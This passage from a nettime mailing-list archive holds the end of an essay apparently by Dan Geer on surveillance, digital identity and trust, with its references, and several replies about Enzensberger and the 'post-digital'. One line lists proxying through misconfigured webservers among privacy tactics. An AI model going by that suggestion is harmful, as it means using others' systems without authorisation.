earlier, there may actually be a difference\nbetween the public and the private sector because the private sector\nwill collect data only so long as increased collection can be\nmonetized, whereas government will collect data only so long as\nincreased collection can be stored.  With storage prices falling\nfaster than Moore's Law, government's stopping rule may thus never\nbe triggered.\n\nIn the Wikipedia article about Brin, there is this sentence, \"It\nwill be tempting to pass laws that restrict the power of surveillance\nto authorities, entrusting them to protect our privacy -- or a\ncomforting illusion\" thereof.[W]  I agree with one of the possible\nreadings of that sentence, namely that it is \"tempting\" in the sense\nof being delusional.  Demonstrating exactly the kind of good\nintentions with which the road to Hell is paved, we have codified\nrules that permit our lawmakers zero privacy, we give them zero\nability to have a private moment or to speak to others without\nquotation, without attribution, without their game face on.  In the\nevolutionary sense of the word \"select,\" we select for people who\nare without expectation of authentic privacy or who jettisoned it\nlong before they stood for office.  Looking in their direction for\nsalvation is absurd.  And delusional.\n\nI am, however, hardly arguing that \"you\" are powerless or that\n\"they\" have taken all control.  It is categorically true that\ntechnology is today far more democratically available than it was\nyesterday and less than it will be tomorrow.  3D printing, the whole\n\"maker\" community, DIY biology, micro-drones, search, constant\ncontact with whomever you choose to be in constant contact with --\nthese are all examples of democratizing technology.  This is perhaps\nour last fundamental tradeoff before the Singularity occurs: Do we,\nas a society, want the comfort and convenience of increasingly\ntechnologic, invisible digital integration enough to pay for those\nbenefits with the liberties that must be given up to be protected\nfrom the downsides of that integration?  If risk is that more things\ncan happen than will, then what is the ratio of things that can now\nhappen that are good to things that can now happen that are bad?\nIs the good fraction growing faster than the bad fraction or the\nother way around?  Is there a threshold of interdependence beyond\nwhich good or bad overwhelmingly dominate?\n\nWe are all data collectors, data keepers, data analysts.  Some\ncitizens do it explicitly; some citizens have it done for them by\nrobots.  To be clear, we are not just a society of informants, we\nare becoming an intelligence community of a second sort.  Some of\nit is almost surely innocuous, like festooning a house with wireless\nsensors for home automation purposes.  Some of it is cost effectiveness\ndriven, like measuring photosynthesis in a corn field by flying an\narray of measurement devices over it on a drone.  I could go on,\nand so could you, because in a very real sense I am telling you\nnothing you don't already know.  Everyone in this and other audiences\nknows everything that I have to say, even if they weren't aware\nthat they knew it.\n\nThe question is why is this so?  Is this majority rule and the\nintelligence function is one the majority very much wants done to\nthemselves and others?  Is this a question of speed and complexity\nsuch that citizen decision making is crippled not because facts are\nhidden but because compound facts are too hard to understand?  Is\nthis a question of wishful thinking of that kind which can't tell\nthe difference between a utopian fantasy, a social justice movement,\nand a business opportunity?  Is this nowhere near such a big deal\nas I think it is because every day that goes by without a cascade\nfailure only adds evidence that such possibilities are becoming\never less likely?  Is the admonition to \"Take care of yourself\" the\ncore of a future where the guarantee of a good outcome for all is\nthe very fact that no one can hide?  Is Nassim Taleb's idea that\nwe are easily fooled by randomness[TF] at play here, too?  If the\nlevel of observability to which you are subject is an asset to you,\nthen what is your hedge against that asset?\n\nThis is not a Chicken Little talk; it is an attempt to preserve if\nnot make a choice while choice is still relevant.  As The Economist\nin its January 18 issue so clearly lays out,[TE] we are ever more\na service economy, but every time an existing service disappears\ninto the cloud, our vulnerability to its absence increases as does\nthe probability of monopoly power.  Every time we ask the government\nto provide goodnesses that can only be done with more data, we are\nasking government to collect more data.\n\nLet me ask a yesterday question: How do you feel about traffic jam\ndetection based on the handoff rate between cell towers of those\ncell phones in use in cars on the road?  Let me ask a today question:\nHow do you feel about auto insurance that is priced from a daily\nreadout of your automobile's black box?  Let me ask a tomorrow\nquestion: In what calendar year will compulsory auto insurance be\nmore expensive for the driver who insists on driving their car\nthemselves rather than letting a robot do it?  How do you feel about\npublic health surveillance done by requiring Google and Bing to\nreport on searches for cold remedies and the like?  How do you feel\nabout a Smart Grid that reduces your power costs and greens the\natmosphere but reports minute-by-minute what is on and what is off\nin your home?  Have you or would you install that toilet that does\na urinalysis with every use, and forwards it to your clinician?\n\nHow do you feel about using standoff biometrics as a solution to\nauthentication?  At this moment in time, facial recognition is\npossible at 500 meters, iris recognition is possible at 50 meters,\nand heart-beat recognition is possible at 5 meters.  Your dog can\nidentify you by smell; so, too, can an electronic dog's nose.  Your\ncell phone's accelerometer is plenty sensitive enough to identify\nyou by gait analysis.  The list goes on.  All of these are data\ndependent, cheap, convenient, and none of them reveal anything that\nis a secret as we currently understand the term \"secret\" -- yet the\nsum of them is greater than the parts.  A lot greater.  It might\neven be a polynomial, as Schneier suggested.  Time will tell, but\nby then the game will be over.\n\nHarvard Business School Prof. Shoshanna Zuboff has had much to say\non these topics since the 1980s, especially her Three Laws:[ZS]\n\n.  Everything that can be automated will be automated\n\n.  Everything that can be informated will be informated\n\n.  Every digital application that can be used for surveillance and\n   control will be used for surveillance and control\n\nI think she is right, but the implication that this is all outside\nthe control of the citizen is not yet true.  It may get to be true,\nbut in so many words that is why I am standing here.  There are a\nmillion choices the individual person, or for that matter the\nfree-standing enterprise, can take and I do not just mean converting\nall your browsing over to Tor.\n\nTake something mundane like e-mail:  One might suggest never sending\nthe same message twice.  Why?  Because sending it twice, even if\nencrypted, allows a kind of analysis by correlation that cannot\notherwise happen.  Maybe that's too paranoid, so let's back off a\nlittle.  One might suggest that the individual or the enterprise\nthat outsources its e-mail to a third party thereby creates by\nitself and for itself the risk of silent subpoenas delivered to\ntheir outsourcer.  If, instead, the individual or the enterprise\ninsources its e-mail then at the very least it knows when its data\nassets are being sought because the subpoena comes to them.  Maybe\ninsourcing your e-mail is too much work, but need I remind you that\nplaintext e-mail cannot be web-bugged, so why would anyone ever\nrender HTML e-mail at all?\n\nTake software updates:  There is a valid argument to make software\nauto-update the norm.  As always, a push model has to know where\nto push.  On the other hand, a pull model must be invoked by the\nend user.  Both models generate information for somebody, but a\npull model leaves the time and place decisions to the end user.\n\nTake cybersecurity technology:  I've become convinced that all of\nit is dual use.  While I am not sure whether dual use is a trend\nor a realization of an unchanging fact of nature, the obviousness\nof dual use seems greatest in the latest technologies, so I am\ncalling it a trend in the sense that the straightforward accessibility\nof dual use characteristics of new technology is itself a growing\ntrend.  Leading cybersecurity products promise total surveillance\nover the enterprise and are, to my mind, offensive strategies used\nfor defensive purposes.  A fair number of those products not only\nwatch your machine, but take just about everything that is going\non at your end and copies that to their end.  The argument for doing\nso is well thought out -- by combining observational data from a\nlot of places the probability of detection can be raised and the\nlatency of countermeasure can be reduced.  Of course, there is no\nreason such systems couldn't be looking for patterns of content in\nhuman readable documents just as easily as looking for patterns of\ncontent in machine readable documents.\n\nTake communications technology:  Whether we are talking about\ntriangulating the smartphone using the cell towers, geocoding the\nInternet, or forwarding the GPS coordinates from onboard equipment\nto external services like OnStar, everyone knows that there is a\nwhole lot of location tracking going on.  What can you do to opt\nout of that?  That is not so easy because now we are talking not\nabout a mode of operation, like whether to insource or outsource\nyour e-mail, but a real opt-in versus opt-out decision; do you\naccept the tracking or do you refuse the service?  Paraphrasing\nZittrain's remark about being a customer or being a product, the\ngreater the market penetration of mobile communications, the more\nthe individual is either a data source or a suspect.\n\nTake wearable computing:  Google Glass is only the most famous.\nThere've been people working on such things for a long time now.\nFolks who are outfitted with wearable computing are pretty much\nidentifiable today, but this brief instant will soon pass.  You\nwill be under passive surveillance by your peers and contacts or,\nto be personal, some of you will be surveilling me because you will\nbe adopters of this kind of technology.  I would prefer you didn't.\nI am in favor neither of cyborgs nor chimeras; I consider our place\nin the natural world too great a gift to mock in those ways.\n\nWhen it comes to ranking programs for how well they can observe\ntheir surroundings and act on what they see without further\ninstructions, Stuxnet is the reigning world heavyweight champion.\nUnless there is something better already out there.  Putting aside\nthe business of wrecking centrifuges, just consider the observational\npart.  Look at other malware that seems to have a shopping list\nthat isn't composed of filenames or keywords but instead an algorithm\nfor rank-ordering what to look for and to exfiltrate documents in\npriority order.  As with other democratizations of technology, what\nhappens when that kind of improvisation, that kind of adaptation,\ncan be automated?  What happens when such things can be scripted?\n\nFor those with less gray hair, once upon a time a firewall was\nsomething that created a corporate perimeter.  Then it was something\nthat created a perimeter around a department.  Then around a given\ncomputer.  Then around a given datum.  In the natural world,\nperimeters shrink as risk grows -- think a circle of wildebeeste\nwith their horns pointed outward, the calves on the inside, and the\nhyenas closing in.  So it has been with perimeters in the digital\nspace, a steady shrinking of the defensible perimeter down to the\nindividual datum.\n\nThere are so many technologies now that power observation and\nidentification of the individual at a distance.  They may not yet\nbe in your pocket or on your dashboard or embedded in all your smoke\ndetectors, but that is only a matter of time.  Your digital exhaust\nis unique hence it identifies.  Pooling everyone's digital exhaust\nalso characterizes how you differ from normal.  Suppose that observed\ndata does kill both privacy as impossible-to-observe and privacy\nas impossible-to-identify, then what might be an alternative?  If\nyou are an optimist or an apparatchik, then your answer will tend\ntoward rules of procedure administered by a government you trust\nor control.  If you are a pessimist or a hacker/maker, then your\nanswer will tend towards the operational, and your definition of a\nstate of privacy will be my definition: the effective capacity to\nmisrepresent yourself.\n\nMisrepresentation is using disinformation to frustrate data fusion\non the part of whomever it is that is watching you.  Some of it can\nbe low-tech, such as misrepresentation by paying your therapist in\ncash under an assumed name.  Misrepresentation means arming yourself\nnot at Walmart but in living rooms.  Misrepresentation means swapping\naffinity cards at random with like-minded folks.  Misrepresentation\nmeans keeping an inventory of misconfigured webservers to proxy\nthrough.  Misrepresentation means putting a motor-generator between\nyou and the Smart Grid.  Misrepresentation means using Tor for no\nreason at all.  Misrepresentation means hiding in plain sight when\nthere is nowhere else to hide.  Misrepresentation means having not\none digital identity that you cherish, burnish, and protect, but\nhaving as many as you can.  Your identity is not a question unless\nyou work to make it be.  Lest you think that this is a problem\nstatement for the random paranoid individual alone, let me tell you\nthat in the big-I Intelligence trade, crafting good cover is getting\nharder and harder and for the same reasons: misrepresentation is\ngetting harder and harder.  If I was running field operations, I\nwould not try to fabricate a complete digital identity, I'd \"borrow\"\nthe identity of someone who had the characteristics that I needed\nfor the case at hand.\n\nThe Obama administration's issuance of a National Strategy for\nTrusted Identities in Cyberspace[NS] is case-in-point; it \"calls\nfor the development of interoperable technology standards and\npolicies -- an 'Identity Ecosystem' -- where individuals, organizations,\nand underlying infrastructure -- such as routers and servers -- can\nbe authoritatively authenticated.\"  If you can trust a digital\nidentity, that is because it can't be faked.  Why does the government\ncare about this?  It cares because it wants to digitally deliver\ngovernment services and it wants attribution.  Is having a non-fake-able\ndigital identity for government services worth the registration of\nyour remaining secrets with that government?  Is there any real\ndifference between a system that permits easy, secure, identity-based\nservices and a surveillance system?  Do you trust those who hold\nsurveillance data on you over the long haul by which I mean the\nindefinite retention of transactional data between government\nservices and you, the individual required to proffer a non-fake-able\nidentity to engage in those transactions?  Assuming this spreads\nwell beyond the public sector, which is its designers' intent, do\nyou want this everywhere?  If you are building authentication systems\ntoday, then you are already playing ball in this league.  If you\nare using authentication systems today, then you are subject to the\npending design decisions of people who are themselves playing ball\nin this league.\n\nAnd how can you tell if the code you are running is collecting on\nyou or, for that matter, if the piece of code you are running is\ncollecting on somebody else?  If your life is lived inside the\ndigital envelope, how do you know that this isn't The Matrix or The\nTruman Show?  Code is certainly getting bigger and bigger.  A\nnameless colleague who does world class static analysis said that\nhe \"regularly sees apps that are over 2 GB of code\" and sees\n\"functions with over 16K variables.\"  As he observes, functions\nlike that are machine written.  If the code is machine written,\ndoes anyone know what's in it?  The answer is \"of course not\" and\neven if they did, malware techniques such as return-oriented-programming\ncan add features after the whitelist-mediated application launch.\nBut I'm not talking here about malware, I am talking about code\nthat you run that you meant to run and which, in one way or another,\nis instrumented to record what you do with it.  Nancy Pelosi's\nfamous remark[NP] about her miserable, thousand page piece of\nlegislation, \"We have to pass the bill so that you can find out\nwhat is in it\" can be just as easily applied to code: it has become\n\"We have to run the code so that you can find out what is in it.\"\n\nThat is not going to change; small may be beautiful but big is\ninevitable.[BI]  A colleague notes that, with the cloud, all pretense\nof trying to keep programs small and economical has gone out the\nwindow -- just link to everything because it doesn't matter if you\nmake even one call to a huge library since the Elastic Cloud (or\nwhatever) charges you no penalty for bloat.  As such, it is likely\nthat any weird machine[SB] within the bloated program is ever more\nrobust.\n\nMitja Kolsek was who made me aware of just how much the client has\nbecome the server's server.  Take Javascript, which is to say servers\nsending clients programs to execute; the HTTP Archive says that the\naverage web page now makes out-references to 16 different domains\nas well as making 17 Javascript requests per page, and the Javascript\nbyte count is five times the HTML byte count.[HT]  A lot of that\nJavascript is about analytics which is to say surveillance of the\nuser experience (and we're not even talking about Bitcoin mining\ndone in Javascript that you can embed in your website.[BJ])\n\nSo suppose everybody is both giving and getting surveillance, both\nbeing surveilled and doing surveillance.  Does that make you an\nintelligence agent?  A spreading of technology from the few to the\nmany is just the way world works.  There are a hundred different\narticles from high-brow to low- that show the interval between\nmarket introduction and widespread adoption of technology has gotten\nshorter as technology has gotten more advanced.  That means that\ntechnologies that were available only to the few become available\nto the many in a shorter timeframe, i.e., that any given technology\nadvantage the few have has a shorter shelf-life.  That would mean\nthat the technologies that only national laboratories had fifteen\nyears ago might be present among us soon, in the spirit of William\nGibson's famous remark that the future is already present, just\nunevenly distributed.  Or maybe it is only ten years now.  Maybe\nthe youngest of you in this room will end up in a world where what\na national lab has today is something you can look forward to having\nin only five year's time.  Regardless of whether the time constant\nis five or ten or even fifteen years, this is far, far faster than\nany natural mixing will arrange for even distribution across all\npeople.  The disparities of knowledge that beget power will each\nbe shorter lived in their respective particulars, but a much steeper\ncurve in the aggregate.\n\nRichard Clarke's novel _Breakpoint_ centered around the observation\nthat with fast enough advances in genetic engineering not only will\nthe elite think that they are better than the rest, they will be.[RC]\nI suggest that with fast enough advances in surveillance and the\ninferences to be drawn from surveillance, that a different elite\nwill not just think that it knows better, it will know better.\nThose advances come both from Moore's and from Zuboff's laws, but\nmore importantly they rest upon the extraordinarily popular delusion\nthat you can have freedom, security, and convenience when, at best,\nyou can have two out of three.\n\nAt the same time, it is said that the rightful role of government\nis to hold a monopoly on the use of force.  Is it possible that in\na fully digital world it will come to pass that everyone can see\nwhat once only a Director of National Intelligence could see?  Might\na monopoly of force resting solely with government become harder\nto maintain as the technology that bulwarks such a monopoly becomes\ndemocratized ever faster?  Might reserving force to government\nbecome itself an anachronism?  That is almost surely not something\nto hope for, even for those of us who agree with Thomas Jefferson\nthat the government that governs best is the government that governs\nleast.  If knowledge is power, then increasing the store of knowledge\nmust increase the store of power; increasing the rate of knowlege\nacquisition must increase the rate of power growth.  All power tends\nto corrupt, and absolute power corrupts absolutely,[LA] so sending\nvast amounts of knowledge upstream will corrupt absolutely, regardless\nof whether the data sources are reimbursed with some pittance of\nconvenience.  Every tax system in the world has proven this time\nand again with money.  We are about to prove it again with data,\nwhich has become a better store of value than fiat currency in any\ncase.\n\nAgain, that power has to go somewhere.  If you are part of the\nsurveillance fabric, then you are part of creating that power, some\nof which is reflected back on you as conveniences that actually\ndoubles as a form of control.  Very nearly everyone at this conference\nis explicitly and voluntarily part of the surveillance fabric because\nit comes with the tools you use, with what Steve Jobs would call\nyour digital life.  With enough instrumentation carried by those\nwho opt in, the person who opts out hasn't really opted out.  If\nwhat those of you who opt in get for your role in the surveillance\nfabric is \"security,\" then you had better be damnably sure that\nwhen you say \"security\" that you all have close agreement on precisely\nwhat you mean by that term.\n\nAnd this is as good a place as any to pass on Joel Brenner's\ninsight:[JB]\n\n   During the Cold War, our enemies were few and we knew who they\n   were.  The technologies used by Soviet military and intelligence\n   agencies were invented by those agencies.  Today, our adversaries\n   are less awesomely powerful than the Soviet Union, but they are\n   many and often hidden.  That means we must find them before we\n   can listen to them.  Equally important, virtually every government\n   on Earth, including our own, has abandoned the practice of relying\n   on government-developed technologies.  Instead they rely on\n   commercial off-the-shelf, or COTS, technologies.  They do it\n   because no government can compete with the head-spinning advances\n   emerging from the private sector, and no government can afford\n   to try.  When NSA wanted to collect intelligence on the Soviet\n   government and military, the agency had to steal or break the\n   encryption used by them and nobody else.  The migration to COTS\n   changed that.  If NSA now wants to collect against a foreign\n   general's or terorist's communications, it must break the same\n   encryption you and I use on our own devices...  That's why NSA\n   would want to break the encryption used on every one of those\n   media.  If it couldn't, any terrorist in Chicago, Kabul, or\n   Cologne would simply use a Blackberry or send messages on Yahoo!\n   But therein lies a policy dilemma, because NSA could decrypt\n   almost any private conversation.  The distinction between\n   capabilities and actual practices is more critical than ever...\n   Like it or not, the dilemma can be resolved only through oversight\n   mechanisms that are publicly understood and trusted -- but are\n   not themselves ... transparent.\n\nAt the same time, for-profit and not-for-profit entites are collecting\non each other.  They have to, even though private intelligence\ndoubtless leads directly to private law.  On the 6th of this month,\nthe Harvard Kennedy School held a conference on this very subject;\nlet me read just the first paragraph:[HKS]\n\n   In today's world, businesses are facing increasingly complex\n   threats to infrastructure, finances, and information.  The\n   government is sometimes unable to share classified information\n   about these threats.  As a result, business leaders are creating\n   their own intelligence capabilities within their companies.\n\nIn a closely related development, the international traffic in arms\ntreaty known as the Wassenaar Agreement, was just amended to classify\n\"Intrusion Software\" and \"Network Surveillance Systems\" as weapons.[WA]\n\nSo whom do you trust?  Paul Wouters makes a telling point when he\nsays that \"You cannot avoid trust.  Making it hierarchical gives\nthe least trust to parties.  You monitor those you have to trust\nmore, and more closely.\"[PW]  As I've done with privacy and security,\nI should now state my definition of trust, which is that trust is\nwhere I drop my guard, which is to say that I only trust someone\nagainst whom I have effective recourse.  Does that mean I can only\ntrust those upon whom I can collect?  At the nation state level\nthat is largely the case.  Is this the way Brin's vision will work\nitself out, that as the technology of collection democratizes, we\nwill trust those we can collect against but within the context of\nwhatever hierarchy is evolutionarily selected by such a dynamic?\n\nIt is said that the price of anything is the foregone alternative.\nThe price of dependence is risk.  The price of total dependence is\ntotal risk.  Standing in his shuttered factory, made redundant by\ncoolie labor in China, Tom McGregor said that \"American consumers\nwant to buy things at a price that is cheaper than they would be\nwilling to be paid to make them.\"  A century and a half before Tom,\nEnglish polymath John Ruskin said that \"There is nothing in the\nworld that some man cannot make a little worse and sell a little\ncheaper, and he who considers price only is that man's lawful prey.\"\nInvoking Zittrain yet again, the user of free services is not the\ncustomer, he's the product.  Let me then say that if you are going\nto be a data collector, if you are bound and determined to instrument\nyour life and those about you, if you are going to \"sell\" data to\nget data, then I ask that you not work so cheaply that you collectively\ndrive to zero the habitat, the lebensraum, of those of us who opt\nout.  If you remain cheap, then I daresay that opting out will soon\nrequire bravery and not just the quiet tolerance to do without\ndigital bread and circuses.\n\nTo close with Thomas Jefferson:\n\n   I predict future happiness for Americans, if they can prevent\n   the government from wasting the labors of the people under the\n   pretense of taking care of them.\n\n\nThere is never enough time.  Thank you for yours.\n\n-------------\n\n[NAS] \"Professionalizing the Nation's Cyber Workforce?\"\n www.nap.edu/openbook.php?record_id=18446\n\n[PB] _Against the Gods_ and this 13:22 video at\n www.mckinsey.com/insights/risk_management/peter_l_bernstein_on_risk\n ...Bernstein was himself quoting Elroy Dimson and Paul Marsh from\n their 1982 paper, \"Calculating the Cost of Capital\"...\n\n[PHI] Personal Health Information, abbreviated PHI\n\n[SMC] \"Penalties for failure to report and false reporting of child\nabuse and neglect,\" US Dept of Health and Human Services, Children's\nBureau, Child Welfare Information Gateway\n\n[CFAA] U.S. Code, Title 18, Part I, Chapter 47, Section 1030\n www.law.cornell.edu/uscode/text/18/1030\n\n[USC] U.S. Code, Title 18, Part I, Chapter 1, Section 4\n www.law.cornell.edu/uscode/text/18/4\n\n[VDB] Verizon Data Breach Investigations Report\n www.verizonenterprise.com/DBIR\n\n[ICS] Index of Cyber Security\n www.cybersecurityindex.org\n\n[DA] \"What is the next step?,\" Dave Aitel, 18 February 2014\n seclists.org/dailydave/2014/q1/28\n\n[S] Sensity's NetSense product, to take one (only) example\n www.sensity.com/our-platform/our-platform-netsense\n\n[M] For example, the 2007 collapse of I-35 in Minneapolis.\n\n[J] \"Quis custodiet ipsos custodes?,\" Juvenal, Satire VI ll.347-348\n\n[DB1] _The Transparent Society_, David Brin, Perseus, 1998\n[DB2] \"The Myth of the 'Transparent Society',\" Bruce Schneier\n www.wired.com/politics/security/commentary/securitymatters/2008/03/securitymatters_0306\n[DB3] \"Rebuttal,\" David Brin\n www.wired.com/politics/security/news/2008/03/brin_rebuttal\n\n[W] minor quotation from\n en.wikipedia.org/wiki/The_Transparent_Society\n\n[TF] _Fooled by Randomness_, Nassim Taleb, Random House, 2001\n\n[TE] \"Coming to an office near you,\" The Economist, 18 January 2014\n cover/lead article, print edition\n\n[ZS] \"Be the friction - Our Response to the New Lords of the Ring,\" 6 Jun 2013\n www.faz.net/aktuell/feuilleton/the-surveillance-paradigm-be-the-friction-our-response-to-the-new-lords-of-the-ring-12241996.html\n\n[NS] National Strategy for Trusted Identities in Cyberspace, 2011\n www.nist.gov/nstic\n\n[NP] 2010 Legislative Conf. for the National Association of Counties\n\n[BI] \"Small Is Beautiful, Big Is Inevitable,\" IEEE S&P, Nov/Dec 2011\n geer.tinho.net/ieee/ieee.sp.geer.1111.pdf\n\n[SB] LANGSEC: Language-theoretic Security\n www.cs.dartmouth.edu/~sergey/langsec/\n\n[HT] Trends, HTTP Archive\n www.httparchive.org/trends.php\n\n[BJ] Bitcoin Miner for Websites\n www.bitcoinplus.com/miner/embeddable\n\n[RC] _Breakpoint_, Richard Clarke, Putnam's, 2007\n\n[LA] \"All power tends to corrupt and absolute power corrupts\nabsolutely.  Great men are almost always bad men, even when they\nexercise influence and not authority: still more when you superadd\nthe tendency or the certainty of corruption by authority.\"\n-- Lord John Dalberg Acton to Bishop Mandell Creighton, 1887\n\n[JB] \"NSA: Not (So) Secret Anymore,\" 10 December 2013\n joelbrenner.com/blog\n\n[HKS] Defense and Intelligence: Future of Intelligence Seminars\n belfercenter.ksg.harvard.edu/events/6230/intelligence_in_the_private_sector\n\n[WA] \"International Agreement Reached Controlling Export of Mass\nand Intrusive Surveillance,\" 9 December 2013\n oti.newamerica.net/blogposts/2013/international_agreement_reached_controlling_export_of_mass_and_intrusive_surveillance\n\n[PW] \"You Can't P2P the DNS and Have It, Too,\" Paul Wouters, 9 Apr 2012\n nohats.ca/wordpress/blog/2012/04/09/you-cant-p2p-the-dns-and-have-it-too\n\n\n\n=====\nthis and other material on file under geer.tinho.net/pubs\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00052",
                        "date": "Tue, 11 Mar 2014 14:03:25 -0400",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "9a36fa1325a8e9d58c8f4d1a9132bf1e {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00052.html",
                        "content-type": "text/plai",
                        "author_name": "dan",
                        "subject": "Re: <nettime> Hans Magnus Enzensberger: Rules for the digital world"
                    },
                    {
                        "from": "p <mp {AT} aktivix.org>",
                        "content": "\n\nArmin Medosch wrote:\n> is clearly old capital against new capital - the enemy is Google.\n\nso, old capital is a bad thing and new capital is a bad thing, or\nwhat's the moral of this?\n\nor speaking against new capital from the platform of old capital is\nbad?\n\nor anything bad about new capital is old bad?\n\nor my bad?\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00034",
                        "date": "Mon, 10 Mar 2014 18:54:07 +0100",
                        "to": "nettime-l {AT} mail.kein.org",
                        "message-id": "531DFC3F.5020808 {AT} aktivix.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00034.html",
                        "content-type": "text/plai",
                        "author_name": "mp",
                        "subject": "Re: <nettime> Hans Magnus Enzensberger: Rules for the digital world"
                    }
                ],
                "message-id": "66ab9766b0148ba9ee560950e143cde9 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                "date": "Sat, 1 Mar 2014 14:53:30 +0100",
                "content-type": "text/plai"
            },
            {
                "id": "00018",
                "content": "\n\nFlorian Cramer wrote:\n> # What is 'Post-digital'?\n\nFlorian and I have been talking for a long time now about the\nnotion of \"post-digital\", with me being rather skeptical about its\nusefulness. I still am, but Florian's text clarifies a lot for me.\n\nThere are some areas in which the term does makes sense.\n\nPrimarily aesthetically, in terms of pointing towards a complex\nblending of the digital and the non-digital, rather than a simple\nsubstitution (aka the computer as the meta-medium that simulates all\nothers).\n\nTo some degree it makes also sense politically, in terms of a more\ncomplex understanding of political processes not being driven by\ntechnology, but still by power, institutions and competing collective\nactors with unequal organizational resources to advance their\ninterests. Mozorov would be main exponent of such a position. It's a\nvalid position to critique the still powerful \"Californian ideology\",\nbut hardly new, particularly not in Europe.\n\nWhere the terms makes no sense, in my view (and also in Florian's),\nis sociologically. The most powerful forces that transform globalized\nsocieties, are all dependent on, and amplified by, digital\ntechnologies. If anything, we are in the middle of the historical\nrun of this development rather than at the end. The idea that the\ndigital is just one dimension of society and that we can abandon it,\nis ludicrous. Enzensberger's text was just a joke, and the FAZ printed\nit because it would stir controversy, not because it had much to offer\nintellectually.\n\nSo, what this leaves me wondering, in terms of a cultural theory, is\na term useful that makes sense of aesthetically, yet makes no sense\nsociologically, or do we need to find terms than can articulate both\nlevels at the same time?\n\n\nFelix\n\n\n\n-- \n\n ||||||||||||||||||||||||||||||||| http://felix.openflows.com\n |OPEN PGP: 056C E7D3 9B25 CAE1 336D 6D2F 0BBB 5B95 0C9F F2AC\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                "to": "Nettime <nettime-l {AT} kein.org>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00018.html",
                "list": "nettime_l",
                "author_name": "Felix Stalder",
                "subject": "<nettime> Post-digital",
                "from": "elix Stalder <felix {AT} openflows.com>",
                "follow-up": [
                    {
                        "from": "\"Patrice Riemens\" <patrice {AT} xs4all.nl>",
                        "content": "> Florian Cramer wrote:\n>\n>> # What is 'Post-digital'?\n>\n> Florian and I have been talking for a long time now about the\n> notion of \"post-digital\", with me being rather skeptical about its\n> usefulness. I still am, but Florian's text clarifies a lot for me.\n <...>\n\nHi Felix,\n\nThere is one context in which Enzensberger's 'cri de coeur' is not a joke,\nbut makes sense, and I am not really sure HME had not it in mind: that is\nif you believe in the likelyhood of an impending 'system collapse' (cf\nPaul Virilio's 'accident integral') , in which case all our beloved\ntechnologies are likely collapse as well, either gradually or very fast\nindeed, starting with the mother/ motor of all technologies, electricity,\naka 'the grid'. No grid, no cloud, and if & then just kiss your Youtube\naddiction goodbye.\n\nI am still somewhat neutral on this issue, mainly because of my 'Asiatic'\nhistory.  Yet I think it should be factored in. In my particular case, I\nhave experienced that 'technological restraint' has worked out quite fine:\nI still don't have a mobile phone.\n\nCheerio, p+2D!\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00020",
                        "date": "Sun, 9 Mar 2014 23:17:55 +0100",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "562e0b4934c54939e084c01dcd5d44ae {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00020.html",
                        "content-type": "text/plai",
                        "author_name": "Patrice Riemens",
                        "subject": "Re: <nettime> Post-digital"
                    },
                    {
                        "from": "Nick <nettime {AT} njw.me.uk>",
                        "content": "Quoth Felix Stalder:\n\n> Enzensberger's text was just a joke, and the FAZ printed\n> it because it would stir controversy, not because it had much to offer\n> intellectually.\n\nWas it really just a joke? I'm not so sure dismissing it as that is \nappropriate. Sure it necessarily isn't a deep critique of the power \ndynamics at play with some of the newer technologies people are \nusing now, but it wasn't designed as that, and I for one find the \nprovocations basically reasonable.\n\nFlorian's essay was great companion reading, and Geert is certainly \nright to call it out as containing elements of 'offline \nromanticism', but I don't see anything particularly off with the \nessay, and there are certainly things about rejection of \ntechnological 'necessities' like phones that it's quite reasonable \nto be romantic about.\n\nNick\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00022",
                        "date": "Sun, 9 Mar 2014 21:58:27 -0400",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "296082a3ef6d3858551fa7c27d21b1fa {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00022.html",
                        "content-type": "text/plai",
                        "author_name": "Nick",
                        "subject": "Re: <nettime> Post-digital"
                    },
                    {
                        "follow-up": [
                            {
                                "follow-up": [
                                    {
                                        "from": "temp <pl {AT} voyd.com>",
